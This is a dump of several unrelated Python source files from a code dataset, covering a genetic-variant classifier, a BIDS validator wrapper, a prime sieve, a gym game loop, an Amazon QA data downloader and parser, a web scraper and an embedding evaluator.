Counter(top_variants)\n\n\treturn (frequencies, f1s)\n\ndef glob_of_forests(dataset, args):\n\n\tfrequencies_plot_info = pd.DataFrame(columns = ['variant', 'frequency', 'run_no'])\n\n\t# calling extra_trees for each \n\tcount = 0\n\tfor runs_no in range(0,5):\n\n\t\tprint('Glob of forests number ' + str(runs_no))\n\t\t(frequencies, f1s) = extra_trees(dataset,args)\n\n\t\tfor key in frequencies.keys():\n\t\t\tfrequencies_plot_info.loc[count] = [key, frequencies[key], runs_no]\n\t\t\tcount += 1\n\n\tfrequencies_plot_info.to_csv('../../data/plots/frequencies_of_variants/frequencies_ofvariant_per_run.csv.gz', compression = 'gzip')\n\timportant_variants(frequencies_plot_info, args)\n\n\tplot_glob(frequencies_plot_info)\t\n\n# Extract important variants\ndef important_variants(dataset, args):\n\n\t# make a rank of variables from the average of frequencies\n\tvariants_ranking = pd.DataFrame(columns = ['rank', 'variant', 'average_frequency']) \n\tvariants_dictionary = {}\n\n\t# it will repeat variants but since they're added to the dictionary the last value will be correct\n\tprint('Looking for variants...')\n\tfor current_variant in dataset['variant']:\n\n\t\t# select all\n\t\tvariant_dataset = dataset.loc[dataset['variant'] == current_variant]\n\t\tfrequencies_average = variant_dataset['frequency'].mean()\n\t\tvariants_dictionary[current_variant] = frequencies_average\n\n\tcount = 0\n\tdict_empty = False\n\tprint('Saving variants in ranking...')\n\twhile dict_empty == False:\n\n\t\tmax_variant = max(variants_dictionary, key=variants_dictionary.get)\n\t\tvariants_ranking.loc[count] = [count, max_variant, variants_dictionary[max_variant]]\n\t\tcount +=1\n\n\t\t# Now the variant is deleted from the dictionary\n\t\tdel variants_dictionary[max_variant]\n\n\t\t# exit condition\n\t\tif not variants_dictionary:\n\t\t\tdict_empty = True\n\n\tprint('Saving ranking to file')\n\tvariants_ranking.to_csv('../../data/plots/frequencies_of_variants/variants_ranking.csv.gz', compression = 'gzip')\n\treturn variants_ranking\n\n\ndef plot_glob(frequencies_plot_info):\n\n\tprint('Plotting...')\n\n\tfrequencies_plot_info.head()\n\n\tplt.figure()\n\tplot = sns.swarmplot(x = \"variant\", y = \"frequency\", hue = \"run_no\", data = frequencies_plot_info)\n\tplot.set_xticklabels(plot.get_xticklabels(), rotation=90)\n\t#plot.get_xaxis().set_visible(False)\n\tplt.xlabel('Variants')\n\tplt.tight_layout()\n\tplt.show()\n\n# Testing optimal number of trees\ndef\tno_trees_test(dataset, args):\n\n\n\tdataset_len = len(list(dataset))\n\tdataset_list = np.array(list(dataset))\n\n\t# Run several classifiers and find wich variants appear more\n\tscores_df = pd.DataFrame(columns = ['no_trees', 'f1', 'auc']) \n\tfor trees in range(1, args.trees + 1):\n\t\t\n\t\t# Dividing train and test\n\t\tpre_X = dataset.drop(args.label, axis = 1)\n\t\tX_train, X_test, y_train, y_test = train_test_split(pre_X, dataset[args.label], test_size = 0.3)\n\n\t\tprint('Fitting model ' + str(trees) + ' ...')\n\n\t\t# Random Forest Model\n\t\trf_model = ExtraTreesClassifier(trees, n_jobs = -1)\n\t\trf_model.fit(X_train, y_train)\n\n\t\t# To save model\n\t\t#joblib.dump(rf_model, '../../data/rf_model.pkl') \n\n\t\tprint('Predicting...')\n\t\t\n\t\t# Predicting\n\t\ty_predicted = cross_val_predict(rf_model, X_test, y_test, cv=5)\t\t\n\t\t#y_predicted = rf_model.predict(X_test)\n\n\t\tprint(confusion_matrix(y_test, y_predicted))\n\t\t\n\t\t# Saving f1 and auc scores \n\t\tfpr, tpr, thresholds = metrics.roc_curve(y_test, y_predicted, pos_label=2)\n\t\tscores_df.loc[trees] = [trees, f1_score(y_test, y_predicted, average = 'micro'),\\\n\t\t\t\t\t\t\t\t metrics.auc(fpr, tpr)]\n\n\tscores_df.to_csv('../../data/tests/accuracy_by_treesno/accuracy_by_treesno.csv.gz', compression = 'gzip')\n\t\n\treturn scores_df\n\ndef plot_no_trees(scores):\n\n\tplt.figure()\n\tplt.scatter(scores['no_trees'], scores['f1'], color = 'r')\n\t#plt.scatter(scores['no_trees'], scores['auc'], color = 'g')\n\tplt.show()\n\n\t#g = sns.FacetGrid(, hue=\"time\", col=\"sex\", size=4,\\\n #\t hue_kws={\"marker\": [\"s\", \"D\"]})\n\t#g.map(qqplot, \"total_bill\", \"tip\", s=40, edgecolor=\"w\")\n\t#g.add_legend();\n\n# run classifiers while reducing amount of features\n# make it by random feature reducing or targeted reducing (leaving important features)\ndef redu(dataset, args):\n\n\timportant_features_list = pd.read_csv(args.redu_features, compression = 'gzip')\n\timportant_features_list = important_features_list['variant']\n\tfeatures_list_len = len(important_features_list)\n\n\t# randomly\n\t# reduce 10 by 10\n\t\n\tcount = 0\n\tprint('Randomly selecting features...')\n\trandom_data = pd.DataFrame(columns = ['features_num', 'f1-score'])\n\tfor features_num in range(features_list_len, 10, -10):\n\t\trandom_features = random.sample(list(important_features_list), k = features_num)\n\t\trandom_features.append('labels')\n\n\t\ttemporary_dataset = dataset[random_features]\n\t\t#print(temporary_dataset.head())\n\t\t(frequencies, f1s) = extra_trees(temporary_dataset, args)\n\n\t\trandom_data.loc[count] = [features_num, f1s]\n\t\tcount += 1\n\n\trandom_data.to_csv('../../data/plots/accuracy_by_feature_reduction/random_f1scores.csv.gz', compression = 'gzip')\n\t\n\t\n\t# targeted\n\tprint('Targeting top features...')\n\tcount = 0\n\ttargeted_data = pd.DataFrame(columns = ['features_num', 'f1-score'])\n\tfor features_num in range(features_list_len, 10, -10):\n\t\ttargeted_features = list(important_features_list.iloc[0:features_num])\n\t\ttargeted_features.append('labels')\n\n\t\ttemporary_dataset = dataset[targeted_features]\n\t\t#print(temporary_dataset.head())\n\t\t(frequencies, f1s) = extra_trees(temporary_dataset, args)\n\n\t\ttargeted_data.loc[count] = [features_num, f1s]\n\t\tcount += 1\n\n\ttargeted_data.to_csv('../../data/plots/accuracy_by_feature_reduction/targeted_f1scores.csv.gz', compression = 'gzip')\n\n\ndef plot_redu(random_data, targeted_data):\n\n\tplt.figure()\n\tplt.title('Accuracy by feature reduction (number of features)')\n\tplt.xlabel('Number of features')\n\tplt.ylabel('f1-score')\n\tplt.scatter(random_data['features_num'], random_data['f1-score'], color = 'r')\n\tplt.scatter(targeted_data['features_num'], targeted_data['f1_score'], color = 'g')\n\tplt.legend(['Randomly selected features', 'Best features left'])\n\tplt.show()\n\ndef\tlinear_classifier(dataset, args):\n\n\t#important_features_list = pd.read_csv(args.redu_features, compression = 'gzip')\n\t#important_features_list = important_features_list['variant']\n\t#features_list_len = len(important_features_list)\n\n\t#targeted_features = list(important_features_list.iloc[1000:1005])\n\t#targeted_features.append('labels')\n\n\t#temporary_dataset = dataset[targeted_features]\n\t#print(temporary_dataset)\n\n\t#pre_X = temporary_dataset.drop(args.label, axis = 1)\n\tf1_scores = []\n\tfor run in range(0,100):\n\t\tX_train, X_test, y_train, y_test = train_test_split(dataset, dataset[args.label], test_size = 0.3)\n\n\t\tsvm_classifier = svm.SVC()\n\t\n\t\tprint('Fitting model number: ' + str(run))\n\t\tsvm_classifier.fit(X_train, y_train)\n\n\t\tprint('Predicting...')\n\t\t#y_predicted = svm_classifier.predict(X_test)\n\t\ty_predicted = cross_val_predict(svm_classifier, X_test, y_test, cv=5)\t\t\n\t\tprint('F1 Score:' + str(f1_score(y_test, y_predicted, average = 'micro')))\n\n\t\tf1_scores.append(f1_score(y_test, y_predicted, average = 'micro'))\n\n\tf1s = mean(f1_scores)\n\tprint('Final f1 score: ' + str(f1s))\t\n\tfrequencies = Counter(top_variants)\n\ndef mean(numbers):\n return float(sum(numbers)) / max(len(numbers), 1)\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"src/python/classifiers.py","file_name":"classifiers.py","file_ext":"py","file_size_in_byte":12677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"531886501","text":"from pathlib import Path\nimport subprocess\nfrom logs import messages\n\n\nclass CheckBids:\n \"\"\"\n Validates {bids_dir} as a BIDS compatible directory or raises an error otherwise.\n\n Keyword Arguments:\n bids_dir {[Path]} -- [Path to a BIDS compliant directory.] (default: {self.mother_dir})\n \"\"\"\n\n def __init__(self, bids_dir: Path):\n self.bids_dir = bids_dir\n\n def __str__(self):\n str_to_print = messages.BIDSVALIDATOR.format(bids_dir=self.bids_dir)\n return str_to_print\n\n def validate_bids(self):\n try:\n validator = subprocess.check_output(\n [\"bids-validator\", \"--ignoreWarnings\", f\"{self.bids_dir}\"]\n )\n except:\n validator = \"Incompatible BIDS directory\"\n return validator\n\n def run(self):\n print(f\"Validating {self.bids_dir} as a BIDS compatible directory...\")\n validator = self.validate_bids()\n if not \"BIDS compatible\" in str(validator):\n raise ValueError(\n f\"This path is not a BIDS comaptible direcory.\\n\\t Please make sure it follows the BIDS specifications before going through preprocessing procedures.\"\n )\n else:\n print(\"This is a BIDS compliant directory! Moving on.\")\n","sub_path":"build/lib/PyPrep/utils/check_bids.py","file_name":"check_bids.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"60711304","text":"try:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\nconfig = {\n 'description': 'My Project',\n 'author': 'Wouter Oosterveld',\n 'url': 'URL to get it at.',\n 'download_url': 'Where to download it.',\n 'author_email': 'wouter@fizzyflux.nl',\n 'version': '0.1',\n 'install_requires': ['nose','what','boto'],\n 'packages': ['snaps'],\n 'scripts': ['scripts/snaps'],\n 'name': 'snaps'\n}\n\nsetup(**config)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"87636622","text":"import math\n\ndef prime(num):\n arr = [True for i in range(num)]\n arr[0]=False\n arr[1]=False\n for i in range(2,math.floor(math.sqrt(num))+1):\n for j in range(2,num):\n if i*j < num:\n arr[i*j]=False\n answer=[]\n for i in range(num):\n if arr[i] is True:\n answer.append(i)\n return answer\n\n#어떤수의 제곱근보다 작은 수와 어떤수의 미만과의 곱은 소수가 아니다\n \n\nprint(prime(20))\n# 소수를 입력하면 그 수까지 소수 리스트를 반환\n","sub_path":"lecture/algorithms/remind/prime/prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"174340819","text":"import time\nimport gym\nimport gym_cap\nimport numpy as np\nfrom action_space import Action_space\n\n## select the size of the map\nenv = gym.make(\"cap-v0\") #start with a small one 20x20\n#env = gym.make(\"cap-v1\") #more challenging one 100x100\n\n#observation = env.reset(0) # debug if you don't want random generated map\n\nstart_time = time.time()\ndone = False\nstep = 0\niteration = 0\n\naction_space= Action_space(2,4,[env.team1[0].air,\n env.team1[1].air,\n env.team1[2].air,\n env.team1[3].air,\n env.team1[4].air,\n env.team1[5].air,], env)\n\nprev_obs= None\n\nwhile iteration < 100:\n\n ## list of randomly generated actions can be generated like that\n# action = env.action_space.sample() # choose random action\n\n ## to make only one unit doing action use that\n # action = [np.random.randint(0,5),4,4,4,4,4]\n if iteration == 0:\n action= action_space.get_action()\n\n uav_1_index, uav_2_index= action_space.get_uav_index()\n print('UAV index', uav_1_index, uav_2_index)\n action= action_space.get_action(prev_obs, env.team1[uav_1_index].get_loc(), env.team1[uav_2_index].get_loc())\n ## actions 0=Up, 1=Right, 2=Down, 3=Left, 4=Stay\n# print(\"Actions selected:\",action)\n\n observation, reward, done, info = env.step(action) # feedback from environment\n prev_obs= np.copy(observation)\n ## example of the data that you may use to solve the problem\n# print(observation) # print observation as a matrix (coded map)\n\n xa, ya = env.team1[0].get_loc() #location of unit 0 in list of friendly units\n# print(\"Unit 0 location:\",xa,ya)\n print(\"Unit 0 is a UAV:\", env.team1[0].air)\n print('info', info)\n print('reward', reward)\n print(\"Unit 0 on the map is given by:\", prev_obs[ya][xa])\n print(action_space.print_map())\n\n ## ANIMATION (if you want to see what is going on)\n env.render(mode=\"obs2\") #obs, obs2, or env\n ##watch the complete environment (you cannot use it to find a solution)\n# env.render(mode=\"env\")\n time.sleep(2) #remove sleep if you don't want to watch the animation\n\n step += 1\n if step == 1000 or done:\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n start_time = time.time()\n env.reset()\n step = 0\n iteration += 1\n","sub_path":"cap_learn.py","file_name":"cap_learn.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"202085806","text":"import os\r\nimport time\r\nimport requests\r\nimport shutil\r\nimport gzip\r\n\r\nfrom typing import Dict, List, Tuple\r\n\r\nfrom tqdm import tqdm\r\n\r\nimport pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n\r\nclass Downloader:\r\n\r\n URLS = {\r\n 'single': [\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Appliances.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Arts_Crafts_and_Sewing.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Automotive.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Baby.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Beauty.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Cell_Phones_and_Accessories.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Clothing_Shoes_and_Jewelry.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Electronics.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Grocery_and_Gourmet_Food.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Health_and_Personal_Care.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Home_and_Kitchen.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Industrial_and_Scientific.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Musical_Instruments.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Office_Products.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Patio_Lawn_and_Garden.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Pet_Supplies.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Software.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Sports_and_Outdoors.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Tools_and_Home_Improvement.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Toys_and_Games.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/qa_Video_Games.json.gz'\r\n ],\r\n 'multiple': [\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Automotive.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Baby.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Beauty.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Cell_Phones_and_Accessories.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Clothing_Shoes_and_Jewelry.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Electronics.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Grocery_and_Gourmet_Food.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Health_and_Personal_Care.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Home_and_Kitchen.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Musical_Instruments.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Office_Products.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Patio_Lawn_and_Garden.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Pet_Supplies.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Sports_and_Outdoors.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Tools_and_Home_Improvement.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Toys_and_Games.json.gz',\r\n 'http://jmcauley.ucsd.edu/data/amazon/qa/icdm/QA_Video_Games.json.gz'\r\n ]\r\n }\r\n\r\n def __init__(self,\r\n data_path: str,\r\n override: bool = False,\r\n sleep_time: float = 0.05,\r\n verbose: bool = True):\r\n\r\n self.data_path = data_path\r\n self.override = override\r\n self.sleep_time = sleep_time\r\n self.verbose = verbose\r\n\r\n @staticmethod\r\n def make_dir(path: str, override: bool = False):\r\n if override:\r\n shutil.rmtree(path, ignore_errors=True)\r\n try:\r\n os.mkdir(path)\r\n except FileExistsError:\r\n pass\r\n\r\n @staticmethod\r\n def download_file(url: str, save_path: str, verbose: bool = False, chunk_size: int = 8192):\r\n try:\r\n filename = save_path.split('/')[-1]\r\n with requests.get(url, stream=True) as request:\r\n request.raise_for_status()\r\n with open(save_path, 'wb') as file_object:\r\n for chunk in tqdm(request.iter_content(chunk_size=chunk_size),\r\n desc=f'Download {filename}',\r\n disable=not verbose):\r\n if chunk:\r\n file_object.write(chunk)\r\n except KeyboardInterrupt as exception:\r\n os.remove(save_path)\r\n raise exception\r\n except Exception as exception:\r\n os.remove(save_path)\r\n raise exception\r\n\r\n def run(self):\r\n\r\n self.make_dir(self.data_path, override=self.override)\r\n\r\n for key in self.URLS:\r\n for url in tqdm(self.URLS[key], desc=key, disable=not self.verbose):\r\n filename = key + '_' + url.split('/')[-1]\r\n\r\n time.sleep(self.sleep_time)\r\n\r\n file_path = os.path.join(self.data_path, filename)\r\n\r\n if not os.path.isfile(file_path):\r\n self.download_file(url=url, save_path=file_path, verbose=False)\r\n\r\n\r\nclass Parser:\r\n\r\n BAD_CATEGORIES = [\r\n 'electronics',\r\n 'software',\r\n 'appliances',\r\n 'industrial and scientific',\r\n 'musical instruments',\r\n 'arts crafts and sewing',\r\n 'video games',\r\n 'toys and games',\r\n 'clothing shoes and jewelry',\r\n 'home and kitchen',\r\n 'health and personal care',\r\n 'tools and home improvement',\r\n 'patio lawn and garden'\r\n # 'clothing shoes and jewelry',\r\n # 'industrial and scientific',\r\n # 'appliances',\r\n # 'arts crafts and sewing',\r\n # 'toys and games',\r\n # 'software',\r\n # 'patio lawn and garden',\r\n # 'video games',\r\n # 'musical instruments',\r\n # 'baby'\r\n ]\r\n\r\n def __init__(self,\r\n data_path: str,\r\n is_question_classification: bool = True,\r\n train_samples: int = 250_000,\r\n valid_samples: int = 50_000,\r\n lower_threshold: int = 5,\r\n upper_threshold: int = 512):\r\n\r\n self.data_path = data_path\r\n self.is_question_classification = is_question_classification\r\n\r\n self.train_samples = train_samples\r\n self.valid_samples = valid_samples\r\n\r\n self.lower_threshold = lower_threshold\r\n self.upper_threshold = upper_threshold\r\n\r\n @staticmethod\r\n def parse_filename(file_path: str) -> str:\r\n category = file_path.split('/')[-1].split('.')[0]\r\n\r\n category = category.lower().replace('qa_', '')\r\n category = category.replace('single_', '').replace('multiple_', '')\r\n category = category.replace('_', ' ')\r\n\r\n return category\r\n\r\n @staticmethod\r\n def prepare_text(text: str) -> str:\r\n text = text.lower().encode('utf-8', 'ignore').decode('utf-8', 'ignore')\r\n\r\n return text\r\n\r\n def filter_sample(self, sample: Dict[str, str]) -> bool:\r\n\r\n if not (self.lower_threshold <= len(sample['question']) <= self.upper_threshold):\r\n return False\r\n\r\n if not (self.lower_threshold <= len(sample['response']) <= self.upper_threshold):\r\n return False\r\n\r\n if sample['category'] in self.BAD_CATEGORIES:\r\n return False\r\n\r\n return True\r\n\r\n def parse_single_sample(self,\r\n sample: Dict,\r\n category: str,\r\n with_types: bool = False) -> List[Dict[str, str]]:\r\n\r\n result_sample = {\r\n 'question': self.prepare_text(sample['question']),\r\n 'response': self.prepare_text(sample['answer']),\r\n 'category': category\r\n }\r\n\r\n if with_types:\r\n result_sample['question_type'] = sample['questionType']\r\n result_sample['answer_type'] = sample['answerType']\r\n\r\n result_sample = [result_sample] if self.filter_sample(result_sample) else list()\r\n\r\n return result_sample\r\n\r\n def parse_multiple_sample(self,\r\n sample: Dict,\r\n category: str) -> List[Dict[str, str]]:\r\n\r\n result_samples: List[Dict[str, str]] = list()\r\n\r\n for question_data in sample['questions']:\r\n for answer_data in question_data['answers']:\r\n parsed_sample = {\r\n 'question': self.prepare_text(question_data['questionText']),\r\n 'response': self.prepare_text(answer_data['answerText']),\r\n 'category': category,\r\n }\r\n if self.filter_sample(parsed_sample):\r\n result_samples.append(parsed_sample)\r\n\r\n return result_samples\r\n\r\n def get_file_paths(self):\r\n\r\n return [os.path.join(self.data_path, file)\r\n for file in os.listdir(self.data_path)\r\n if file.endswith('.json.gz')]\r\n\r\n def read_data(self) -> List[Dict[str, str]]:\r\n\r\n file_paths = self.get_file_paths()\r\n\r\n data: List[Dict[str, str]] = list()\r\n\r\n for file_path in tqdm(file_paths, desc='Reading'):\r\n with gzip.open(file_path) as file_object:\r\n for sample in file_object:\r\n sample = eval(sample)\r\n category = self.parse_filename(file_path)\r\n\r\n if 'single' in file_path:\r\n data.extend(self.parse_single_sample(sample, category))\r\n elif 'multiple' in file_path:\r\n data.extend(self.parse_multiple_sample(sample, category))\r\n\r\n return data\r\n\r\n def run(self) -> Tuple[pd.DataFrame, pd.DataFrame, pd.DataFrame]:\r\n\r\n data = pd.DataFrame(self.read_data())\r\n\r\n subset = ['question']\r\n\r\n if not self.is_question_classification:\r\n subset.append('response')\r\n\r\n data = data.drop_duplicates(subset=subset)\r\n\r\n data = data.sample(frac=1)\r\n\r\n if self.train_samples + self.valid_samples >= data.shape[0]:\r\n raise ValueError('Sum of train_samples and valid_samples must be less than length of data')\r\n\r\n data, valid = train_test_split(data, stratify=data.category, test_size=self.valid_samples)\r\n\r\n unlabeled, train = train_test_split(data, stratify=data.category, test_size=self.train_samples)\r\n\r\n unlabeled = unlabeled[['question', 'response']]\r\n\r\n unlabeled.reset_index(inplace=True, drop=True)\r\n train.reset_index(inplace=True, drop=True)\r\n valid.reset_index(inplace=True, drop=True)\r\n\r\n return unlabeled, train, valid\r\n","sub_path":"HW2/src/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":11141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"311447969","text":"import kivy;kivy.require('2.1.0')\nfrom kivy.uix.button import Button\nfrom kivy.uix.dropdown import DropDown\nfrom debugwrite import print\n\nclass ContextMenu(DropDown):\n BUTTONWIDTHHEIGHT=(150,40)\n def __init__(self,parent,slot,*arg,**kwarg):#mode='external' for external control on on_touch_down\n '''\\\n parent - parent of hidden button typically current widget on which contextmenu would be drawn\n slot - dropdown on_select button slot\n '''\n super(ContextMenu,self).__init__(**kwarg)\n print(f'>count:\n self.container.children[-1-count].text=i\n self.container.children[-1-count].disabled=False\n self.container.children[-1-count].opacity=1\n self.container.children[-1-count].size_hint_y=None\n self.container.children[-1-count].height=self.BUTTONWIDTHHEIGHT[1]\n else:\n button=Button(text=i,size_hint=(None,None),width=self.BUTTONWIDTHHEIGHT[0],height=self.BUTTONWIDTHHEIGHT[1])\n button.bind(on_release=lambda btn:self.select(btn.text))\n self.add_widget(button)\n for i in self.container.children[0:len(self.container.children)-len(arg)]:\n i.size_hint_y=None\n i.height=0\n i.opacity=0\n i.disabled=True\n print(f'<=>push {i.text}')\n\n def open(self,pos,*arg):\n if arg:\n self.push(*arg)\n print(f'>\n#\n# Distributed under terms of the GNU General Public License 3.0 license.\n\n\"\"\"\nContainer With Most Water\nURL: https://leetcode.com/problems/container-with-most-water/\n\"\"\"\n\n\nclass Solution(object):\n\n def maxArea(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n i = 0\n j = len(height) - 1\n max_area = 0\n while (j > i):\n max_area = max(max_area, min(height[i], height[j]) * (j - i))\n if height[i] < height[j]:\n k = i\n while (k < j and height[k] <= height[i]):\n k += 1\n i = k\n else:\n k = j\n while (k > i and height[k] <= height[j]):\n k -= 1\n j = k\n return max_area\n","sub_path":"problem_011.py","file_name":"problem_011.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"2253558","text":"# -*- coding: utf-8 -*-\r\nimport scrapy\r\nfrom scrapy.linkextractors import LinkExtractor\r\nfrom scrapy.spiders import CrawlSpider, Rule\r\nfrom zkrx.items import ZkrxItem\r\n\r\nclass MyCrawlSpider(CrawlSpider):\r\n name = 'zkrx_spider' # Spider名,必须唯一,执行爬虫命令时使用\r\n allowed_domains = ['shmeea.edu.cn'] # 限定允许爬的域名,可设置多个\r\n start_urls = [\r\n \"http://www.shmeea.edu.cn/20150603/20150603.htm\", # 种子URL,可设置多个\r\n ]\r\n # rules = ( # 对应特定URL,设置解析函数,可设置多个\r\n # Rule(LinkExtractor(allow=r'/page/[2-9]+'), # 指定允许继续爬取的URL格式,支持正则\r\n # callback='parse_item', # 用于解析网页的回调函数名\r\n # follow=True\r\n # ),\r\n # )\r\n\r\n def parse(self, response):\r\n # 通过XPath获取Dom元素\r\n print(\"==========================start=============================\")\r\n links = response.xpath(\"//table[@class='MsoNormalTable']//a/@href\").extract()\r\n for link in links:\r\n #item = ZkrxItem()\r\n # item['title'] = link.xpath(\"//td[@class = 'excel4']/text()\").extract()[0]\r\n # item['content'] = link.xpath(\"//td[@class = 'excel3']/text()\").extract()[0]\r\n \r\n yield scrapy.Request(link, callback = self.get_data)\r\n\r\n def get_data(self, response):\r\n item = ZkrxItem()\r\n item['title1'] = response.xpath(\"//body/table[1]//table[1]//td[@class = 'excel4']/text()\").extract()[0]\r\n item['content1'] = response.xpath(\"//body/table[1]//table[1]/tr/td/text()\").extract()[0]\r\n item['title2'] = response.xpath(\"//body/table[1]//table[2]//td[@class = 'excel4']/text()\").extract()[0]\r\n item['content2'] = response.xpath(\"//body/table[1]/table[2]/tr/td/text()\").extract()[0]\r\n \r\n yield item\r\n\r\n # def parse_item(self, response):\r\n # # 通过XPath获取Dom元素\r\n # articles = response.xpath(\"//article\")\r\n # for article in articles:\r\n # item = ZkrxItem()\r\n # item['title'] = article.xpath('header/h2/a/text()').extract()[0]\r\n # item['url'] = article.xpath('header/h2/a/@href').extract()[0]\r\n # item['summary'] = article.xpath('div/p/text()').extract()[0]\r\n # yield item","sub_path":"zkrx/zkrx/spiders/zkrx.py","file_name":"zkrx.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"569452686","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\n\"\"\"\n@version: ??\n@author: muyeby\n@contact: bxf_hit@163.com\n@site: http://muyeby.github.io\n@software: PyCharm\n@file: evaluator.py\n@time: 2018/10/11 10:10\n\"\"\"\n\nimport util\nimport torch\nimport numpy as np\nimport json\nimport platform\nimport time\nimport codecs\nimport scipy\nfrom torch import Tensor as torch_tensor\n\nfrom dico_builder import get_candidates, build_dictionary\n\nop_sys = platform.system()\nif op_sys == 'Darwin':\n from faiss_master import faiss\nelif op_sys == 'Linux':\n import faiss\nelse:\n raise 'Operating system not supported: %s' % op_sys\n\n\nclass Evaluator:\n def __init__(self, params, src_emb, tgt_emb, use_cuda=False):\n self.params = params\n self.data_dir = params.data_dir\n self.ks = params.ks\n self.methods = params.methods\n self.models = params.models\n self.refine = params.refine\n self.csls_k = params.csls_k\n self.num_refine = params.num_refine\n\n self.tgt_emb = tgt_emb\n self.src_emb = src_emb\n\n def dist_mean_cosine(self, src_emb, tgt_emb):\n \"\"\"\n Mean-cosine model selection criterion.\n \"\"\"\n # get normalized embeddings\n src_emb = src_emb / src_emb.norm(2, 1, keepdim=True).expand_as(src_emb)\n tgt_emb = tgt_emb / tgt_emb.norm(2, 1, keepdim=True).expand_as(tgt_emb)\n\n # build dictionary\n for dico_method in ['csls_knn_10']:\n dico_max_size = 10000\n _params = self.params\n s2t_candidates = get_candidates(src_emb, tgt_emb, _params)\n t2s_candidates = get_candidates(tgt_emb, src_emb, _params)\n dico = build_dictionary(src_emb, tgt_emb, _params, s2t_candidates, t2s_candidates)\n # mean cosine\n if dico is None:\n mean_cosine = -1e9\n else:\n mean_cosine = (src_emb[dico[:dico_max_size, 0]] * tgt_emb[dico[:dico_max_size, 1]]).sum(1).mean()\n mean_cosine = mean_cosine.item() if isinstance(mean_cosine, torch_tensor) else mean_cosine\n print(\"Mean cosine (%s method, %s build, %i max size): %.5f\" % (dico_method, _params.dico_build, dico_max_size, mean_cosine))\n # to_log['mean_cosine-%s-%s-%i' % (dico_method, _params.dico_build, dico_max_size)] = mean_cosine\n\n return mean_cosine\n","sub_path":"src/evaluator.py","file_name":"evaluator.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"621795498","text":"###\nimport pickle\nimport pymongo\nimport json\nimport pyspark\nfrom pyspark import SparkContext \nfrom pyspark import conf\nfrom pyspark.sql import SparkSession, udf\nfrom pyspark.sql import SQLContext\nimport string\nimport re\nimport pyspark.ml.feature\nfrom pyspark.sql.functions import 